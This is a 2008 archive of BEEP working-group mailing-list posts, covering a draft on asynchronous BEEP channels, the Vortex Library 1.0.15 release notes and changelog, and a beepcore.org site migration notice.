The application is (and should always be) unaffected by the change.

Allowing out of order responses actually makes the logic at the replying
peer simpler.


Ta,
Martin

------------------------------------------------------------------------------------------------
This message is for the designated recipient only and may
contain privileged, proprietary, or otherwise private information.  
If you have received it in error, please notify the sender
immediately and delete the original.  Any unauthorized use of
this email is prohibited.
------------------------------------------------------------------------------------------------
[mf2]


From francis@aspl.es Fri Jul  4 04:12:26 2008
Received: from dolphin.aspl.es (66-183-170-212.CampusParty06.net
	[212.170.183.66] (may be forged))m64BCPlP026892
	for <beepwg@lists.beepcore.org>; Fri, 4 Jul 2008 04:12:26 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1KEjD5-0005Sa-00; Fri, 04 Jul 2008 13:12:15 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEPwg <beepwg@lists.beepcore.org>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Fri, 04 Jul 2008 13:12:09 +0200
Message-Id: <1215169929.9213.38.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.22.1 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1KEjD5-0005Sa-00*VpAyaOEuosE*
cc: Vortex <vortex@dolphin.aspl.es>
cc: "Thomson, Martin" <Martin.Thomson@andrew.com>
Subject: [BEEPwg] About async channels for BEEP: draft-thomson-beep-async-00
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 04 Jul 2008 11:12:26 -0000

Hi,

Recently Martin Thomson discussed [1] the possibility about adding a
feature that would provide async nature to BEEP channels. 

The initial definition can be now found at [2]. 

It would be great if people could provide its opinion about this new
definition.

Also, I would like to announce we will support this feature in our BEEP
engine [3]. 

Cheers!

[1] http://drakken.dbc.mtview.ca.us/pipermail/beepwg/2008-May/001686.html
[2] http://www.beepcore.org/draft-thomson-beep-async-00.txt
[3] http://www.aspl.es/vortex
-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From francis@aspl.es Fri Jul  4 08:38:25 2008
Received: from dolphin.aspl.es (66-183-170-212.CampusParty06.net
	[212.170.183.66] (may be forged))m64FcN99032249;
	Fri, 4 Jul 2008 08:38:24 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1KEnMQ-0008CE-00; Fri, 04 Jul 2008 17:38:10 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 04 Jul 2008 17:38:03 +0200
Message-Id: <1215185883.9213.63.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.22.1 
X-Scanner: exiscan *1KEnMQ-0008CE-00*F70PNpFUBz6*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id m64FcN99032249
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] 
	[ANN] Vortex Library 1.0.15 'The attack of the mutant protocols!'
	is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 04 Jul 2008 15:38:25 -0000

      ###################################################
      ##              Vortex Library 1.0.15            ##
      ## "The attack of the mutant protocols! release" ##
      ###################################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.15 "The attack of the mutant protocols!" release
  availability: an open source "BEEP Core" protocol implementation
  written in C, mapped onto TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://www.aspl.es/vortex
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://www.aspl.es/xml
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  Several bugs fixed and integrated into the regression test to
  reproduce and check associated fix. General documentation update.

  General BEEP engine update: support to read frame fragment on
  greetings (low latency connections) and inside the BEEP header, to
  control how is segmented a message via application handlers.

  Mayor update to improve memory handling, reducing its requirements.

  General update to fix wrong MIME implementation. Added real support
  (a more capable API) to handle MIME (access to body content and
  headers found).

  All fixings and improvements were also ported into Vortex Library
  1.1 repository.

Change notifications
~~~~~~~~~~~~~~~~~~~~

  [1] vortex-sasl-rename-01
  http://lists.aspl.es/pipermail/vortex/2008-April/000496.html

Thanks to..
~~~~~~~~~~~

  - Jens Alfke (provided several suggestions and patches to fix bugs).

  - Balaz Tirpak (provided patches and worked on vortex-sasl-rename-01
  change notification).

  - Mihail Dmitrievsky (provided complete description to fix a bug at 
  the channel module).

  - Benoit Amiaux (reported wrong deallocation handling at sasl
    module).
  

Changes since 1.0.14
~~~~~~~~~~~~~~~~~~~~

* [fix] Moving two log messages from critical/warning to warning/debug
  (closing connection wrongly configured at 1.0 and a log when the
  channel is stalled). Reported by Jens Alfke.

* [fix] Applied a fix to check channel reference received at channel
  creation, under situation where it was denied by the remote side and
  the threaded mode is activated. Reported and fixed by Jens
  Alfke. Imported fix into 1.1.

* [fix] Updated regression test to reproduce problem fixed by previous
  log and check the fix introduced. Making regression test introduced
  to check error codes returned by channel creation failures (profile
  not supported: 554 and channel creation denied: 421). Update applied
  to 1.0 and 1.1.

* [fix] Updated vortex_channel_new documentation to state that the
  channel reference can't be used until the process finish.

* [fix] Fixed const declaration at vortex_sasl_accept_negociation and
  vortex_sasl_accept_negociation_full. Reported by Dexter.

* [fix] Fixed wrong internal handling for reply sent on a channel
  which wasn't checking if the reply sent was complete causing to
  signal more replies sent than actual value. Updated regression test
  to reproduce and check this problem that was causing a peer to not
  be able to close a connection after sending huge replies.  Fixed
  introduced in 1.0 and 1.1. Problem reported by Mihail Dmitrievsky.

* [new] Moving from internal API to the public the following function
  that allows to wait if all replies were sent for a particular
  channel. API added:

   - vortex_channel_block_until_replies_are_sent

* [fix] Moving all files to utf-8.

* [fix] Committing change notification vortex-sasl-rename-01
  (Proposed with Patch by Balazs Tirpak).

* [fix] Applying change vortex-sasl-rename-01 provided by accepted
  change notification (Balazs Tirpak).

* [fix] Updated vortex_connection_shutdown to better reflect its
  functions and how it interacts with the side that created the
  connection and its associated reference counting.

* [fix] Added new regression test to check wait reply
  function. Nothing to fix for now. Updated vortex_channel_wait_reply
  function to explain some details and to state that
  vortex_frame_unref must be used to deallocate frame returned. Ported
  changes into 1.1 series.

* [new] Added new function to vortex frame module to check current
  reference counting status. Ported changes into 1.1 series.

* [fix] Renaming internal type GsaslData into VortexGsaslData to avoid
  type confusion. Checked all calls to axl_free and replaced those
  that require gsasl_free to be used (to ensure the allocation engine
  used from gsasl is the same used to release resources).  Reported by
  Benoit Amiaux. Change introduced into 1.0 and imported into
  1.1. Check regression test.

* [fix] Updating internal vortex sequencer implementation to support
  any frame size to split into. It was only supported to splitting up
  to fill all the available receiver's buffer. Change applied to
  1.0/1.1.

* [fix] Fixed vortex initial greetings processing to support reading
  greetings fragmented (rather assuming a single shot). Change applied
  to 1.0/1.1. Bug reported by Jens Alfke.

* [fix] Committing missing change that implements updates at the
  vortex sequencer module.

* [fix] Updated vortex sequencer module to acquire a reference to the
  channel associated to a pending transfer and to release it once
  finished (fixed race condition on high load data send followed by a
  close). Ported changed into 1.1.

* [new] Updated vortex sequencer to allow handling any size of frame
  splitting and to check if the channel allows more content to be sent
  rather putting into sleep waiting for the next SEQ frame. Updated
  vortex sequencer internals to call to a external function that
  defines how many data is to be sent on the next frame
  produced. Using new function:
  vortex_channel_get_next_frame_size. Ported change into 1.1

* [new] Updated vortex channel and handlers to include support to
  configure a handler that allows to control how many data must be
  used to produce next frame at the sequencer. This will allow to
  implement sender patterns that better fits low latency or high
  bandwidth connections. Ported change into 1.1. API added:

    - vortex_channel_get_next_frame_size
    - vortex_channel_set_next_frame_size_handler (configure)
    - VortexChannelFrameSize (handler)

* [fix] Updated vortex_channel_ref to check if the channel is opened
  and if the ref counting is ok. Ported fix into 1.1.

* [fix] Making vortex channel to clear its reference to the sequencer
  data before posting fixing a possible race condition. Ported fix
  into 1.1.

* [new] Updated vortex regression test to include initial
  implementation to check vortex bandwidth performance. Updated
  regression test options to allow disabling timing checks (useful
  when running regression test with valgrind and similar
  tools). Ported update into 1.1
  
* [fix] Update into the listener side connection accept engine to
  support frame fragmentation on greetings. Updated regression test to
  simulate and check this new feature. Ported into 1.1 series.

* [new] Updated vortex connection module to include new functions to
  provide and get a frame segmentation which will operate globally to
  all channels if no segmentator is found on the particular channel.
  Also added a global segmentator support which is used in the channel
  no segmentator for the connection and the channel is found. API
  added:

    - vortex_connection_get_next_frame_size
    - vortex_connection_set_next_frame_size_handler
    - vortex_connection_set_default_next_frame_size_handler

  Changes introduced in both series (1.0/1.1).

* [new] Added a new function and internal modifications to implement
  channel window change. Patch provided by Jens Alfke. Applied
  modified and updated regression test to check transfer rate and the
  new API introduced. Ported API updated and regression test to 1.1
  series.  API added:

   - vortex_channel_set_window_size

* [new] Added support to regression test to allow executing a single
  test selected. Changed ported to 1.1 series.

* [fix] Separating part of test_02g into test_02h. Changed ported into
  1.1

* [fix] Updated vortex_channel_is_ready documentation to signify it
  only cares about pending replies for messages sent, not those
  received.

* [fix] Changing function prototype to return (int) for
  vortex_connection_get_mss.

* [new] Added new error symbol (VORTEX_EAGAIN) to handle EAGAIN error.

* [fix] Making vortex_frame_send_raw to be more robust against write
  operation errors. This was exposed by new window size change support
  causing more data to be written. Making vortex_frame_get_next to
  also be more robust against frame fragmentation. Several updates
  introduced into regression test to reproduce and check fix
  introduced.

* [fix] Updated regression test to check unref after close operation
  on a channel. No bug was found. Ported change into 1.1.

* [fix] Making vortex_channel_unref to check reference and internal
  reference counting before proceeding.

* [fix] Making vortex_channel_ref to now check ->is_opened
  flag. Updating vortex_xml_rpc_invoke to get a reference to the
  channel during the invocation process (released later by
  __vortex_xml_rpc_invoke). Ported to 1.1.

* [fix] Updated documentation (fixing typos).

* [fix] making vortex connection establishment to support frame
  fragmentation on greetings frame, that is, a partial frame received,
  still not complete.  Applied fix 1.0 and 1.1. This fixes a bug
  exposed while using vortex on high latency connections.

* [fix] Fixed wrong frame more flag checking at
  vortex_greetings_process. Fix applied to 1.0 and 1.1.

* [fix] Updated vortex frame module to support content fragmentation
  at the BEEP header. This fixes a bug exposed while using vortex on
  high latency connections with low bandwidth. Fixed applied to 1.0
  and 1.1 Checked against regression test_02f, test_02g and test_02h.

* [fix] Updated vortex_frame_get_more_flag to explain to how use the
  function to check for the flag in a proper manner. (1.0/1.1).

* [fix] Making vortex_channel_get_data and vortex_channel_get_data to
  check internal reference to the hash used. Updated
  vortex_connection_new_empty_from_connection to create an empty hash
  rather than moving and nullify the reference. Fixed in 1.0/1.1. Bug
  reported by Jens Alfke.

* [fix] Flagging vortex_connection_get_mss to be non-portable due to
  windows API limitations.

* [fix] Fixing compilation bug at vortex_connection_get_mss.

* [new] General commit to properly implement MIME support inside
  Vortex (committing update into 1.0/1.1). Still some work is required
  though regression tests are passed. Now vortex fully support MIME
  structured format (still missing multipart) allowing to get all
  headers found in an incoming message. Also fixes bug produced by not
  introducing a CR+LF prefixing content without MIME headers. Added
  initial regression test (test_01d) to check MIME parser. API added:

   - vortex_frame_mime_process
   - vortex_frame_set_mime_header
   - vortex_frame_get_mime_header
   - vortex_frame_get_mime_header_name
   - vortex_frame_get_mime_header_content
   - vortex_frame_get_mime_header_next
   - vortex_frame_get_mime_header_count
   - vortex_frame_get_content
   - vortex_frame_get_content_size
   - VORTEX_FRAME_GET_MIME_HEADER

* [fix] Updating autogen.sh files to make all warnings to be errors.

* [fix] Removing not required checks at
  vortex_connection_invoke_receive (1.0/1.1).

* [fix] Updated MIME internal implementation inside frame, to remove
  axlHash usage, replacing it with a custom structure to better fit
  MIME requirements.

* [fix] Updated regression test.

* [fix] Making vortex sequencer SEQ frame received processing to be
  pushed at the head of the queue to increase priority (1.0/1.1).

* [new] Updated vortex async queue API to include a function that
  allows to push data directly into the first position (next item to
  be popped). API added:
  
   - vortex_async_queue_priority_push
   - QUEUE_PRIORITY_PUSH (macro)

* [fix] Fixed vortex_connection_close wrong memory access, caused by
  calling to the function at the listener side, with a connection in
  listener or master mode. Added internal checks to properly unref
  when required.  (Fixed in 1.0/1.1).

* [fix] Removing wrong condition at vortex_frame_get_next (1.0/1.1).

* [new] Committing files to explain BTF syndrome and how it degrades
  BEEP performance. Still working on it.

* [fix] Refactored vortex sequencer internal code to make it more easy
  to maintain to allow moving it into new features. (1.0/1.1)

* [fix] Making SEQ frame notification handling to always issue a SEQ
  frame if a NUL frame is received (to avoid BTF). (1.0/1.1).

* [fix] Making vortex reader check and issue SEQ frames as soon as
  possible.  (1.0/1.1).

* [fix] Making connection creation to disable Nagle's algorithm by
  default to avoid BTF (http://www.aspl.es/vortex/btf.html).

* [fix] Committing updates to the BTF document (1.0/1.1).

* [fix] Making vortex sequencer to reuse an internal buffer to perform
  send operations, reducing the allocation/deallocation pattern for
  each send (1.0/1.1).

* [fix] Making vortex reader to use an internal buffer for SEQ frames
  produced to avoid alloc/dealloc operations for each SEQ frame
  notification (1.0/1.1).

* [new] Updated vortex frame API to include new functions to produce
  frames on a provided buffer. API added:

   - vortex_frame_seq_build_up_from_params_buffer
   - vortex_frame_build_up_from_params_s_buffer

* [fix] Updating vortex_channel_set_serialize documentation to better
  explain its function and how to use the function at the listener
  side.

* [fix] Improved close in transit support by checking more scenarios,
  while supporting previous ones. Removed wait reply once an
  affirmative reply is found to avoid generating a fake accept when it
  is not required. (1.0/1.1). Funny.

* [fix] Updated regression test and vortex engine to support ordered
  delivery at the server side (activated by
  vortex_channel_set_serialize) which wasn't implemented. Test 02i
  reproduce and check the enforced ordered delivery.

* [fix] Moved WaitReplyData structure to vortex channel module to
  avoid exposing its details to the API.
  
* [fix] Making vortex_connection_is_blocked and
  vortex_connection_block internal handling to be done with a direct
  variable inside the VortexConnection structure to avoid using the
  general purpose hash to store its state, improving 4,12% vortex
  reader loop. Fix (1.0/1.1).

* [fix] Fixing vortex_frame_get_next to avoid calling to
  axl_stream_cmp 5 times to check the BEEP header (missing else if was
  causing not required function activations). Fix (1.0/1.1).

* [fix] Making vortex_frame_get_next to avoid allocating twice memory
  for each frame received. Now the function reuse the buffer used to
  receive the frame ans holder for the VortexFrame structure received.
  Fix (1.0/1.1).

* [fix] Updated regression test_04a to check different sizes and
  number of blocks to transfer. (1.0/1.1).

* [new] Updated vortex profiles API to include two new functions as
  part of the automatic MIME header addition configuration at profile
  level.  (1.0/1.1) API added:
  
    - vortex_profiles_set_automatic_mime
    - vortex_profiles_get_automatic_mime

* [fix] Making internal frame MIME state to implement a reference
  counting mechanism to share the information between several
  frames. Especially used by vortex_frame_copy. Fix applied to
  1.0/1.1.

* [new] Implemented library level MIME header automatic addition
  configuration through a new item at vortex_conf_set/get. (1.0/1.1)
  API added:

    - VORTEX_AUTOMATIC_MIME_HANDLING (enum)

  Updated vortex_conf_set/get to properly support this new value.

* [new] Implemented channel level automatic MIME header addition.
  (1.0/1.1) API added:
    
     - vortex_channel_set_automatic_mime
     - vortex_channel_get_automatic_mime

* [fix] Updated vortex channel module documentation (1.0/1.1)

* [fix] Fixed race deallocation condition at second level 
  frame received execution. Applied fix at (1.0/1.1).

* [fix] Finished initial implementation with full MIME structure
  support.  Added regression test to check features introduced
  (test_01d). Still more documentation is required (1.0/1.1).

* [fix] Fixed autoconf files to detect mingw platform and add ws2_lib
  reference to the linker. Applied patch into 1.0/1.1.

* [fix] Enforcing reference to axl 0.5.3 release.

* [fix] Committing changes to MIME documentation.

* [fix] More documentation about MIME (1.0/1.1).

* [fix] Committing more documentation to explain how applies MIME
  support to sending functions (1.0/1.1).

* [fix] Fix bug at vortex_connection_cleanup which wasn't properly
  terminating a mutex (connection_new_notify_mutex). It was
  initializing it again! (????).

* [fix] Improved MIME regression tests and fixed some bugs under
  situations were messages received aren't MIME ready. (1.0/1.1).

* [fix] Fixed wrong documentation associated to
  VORTEX_AUTOMATIC_MIME_HANDLING. (1.0/1.1).

* [fix] Making vortex_frame_get_content_type and 
  vortex_frame_get_transfer_encoding to return NULL if it is found
  a frame without MIME content. (1.0/1.1).

* [fix] Making vortex_frame_get_content to return the payload 
  (raw message) in the case a non-MIME message was received.

* [fix] Fixed regression test for MIME support on windows (fopen
  ("rb")) (1.0/1.1).

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
4th jul 2008, Madrid (Spain)


From francis@aspl.es Thu Sep 18 01:18:20 2008
Received: from dolphin.aspl.es (66-183-170-212.CampusParty06.net
	[212.170.183.66] (may be forged))m8I8IITm016018;
	Thu, 18 Sep 2008 01:18:19 -0700
Received: from localhost (localhost [127.0.0.1])
	by dolphin.aspl.es (Postfix) with ESMTP id 5DB7D740A8;
	Thu, 18 Sep 2008 10:15:38 +0200 (CEST)
X-Virus-Scanned: amavisd-new at dolphin.aspl.es
Received: from dolphin.aspl.es ([127.0.0.1])
	by localhost (dolphin.aspl.es [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YkyaGac7sKoO; Thu, 18 Sep 2008 10:15:34 +0200 (CEST)
Received: from [192.168.0.132] (barracuda [10.0.0.4])
	by dolphin.aspl.es (Postfix) with ESMTP id 4FB30740A6;
	Thu, 18 Sep 2008 10:15:34 +0200 (CEST)
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEPwg <beepwg@lists.beepcore.org>, BEEP <beepbuilders@lists.beepcore.org>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Thu, 18 Sep 2008 10:17:24 +0200
Message-Id: <1221725844.5166.427.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.22.1 
Content-Transfer-Encoding: 7bit
Subject: [BEEPwg] Site migration of beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Sep 2008 08:18:20 -0000

Hi,

In the following days, we will complete a site migration of
beepcore.org, including the mailing lists beepwg and beepbuilders. 

Due to the features of the new hosting and the capabilities provided by
mailman, which do not allow an "easy" members migration, we will sent a
subscription notification to all members already registered so you can
complete your settings.

Please contact me if you find any trouble once finished the process. 
Cheers!
-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


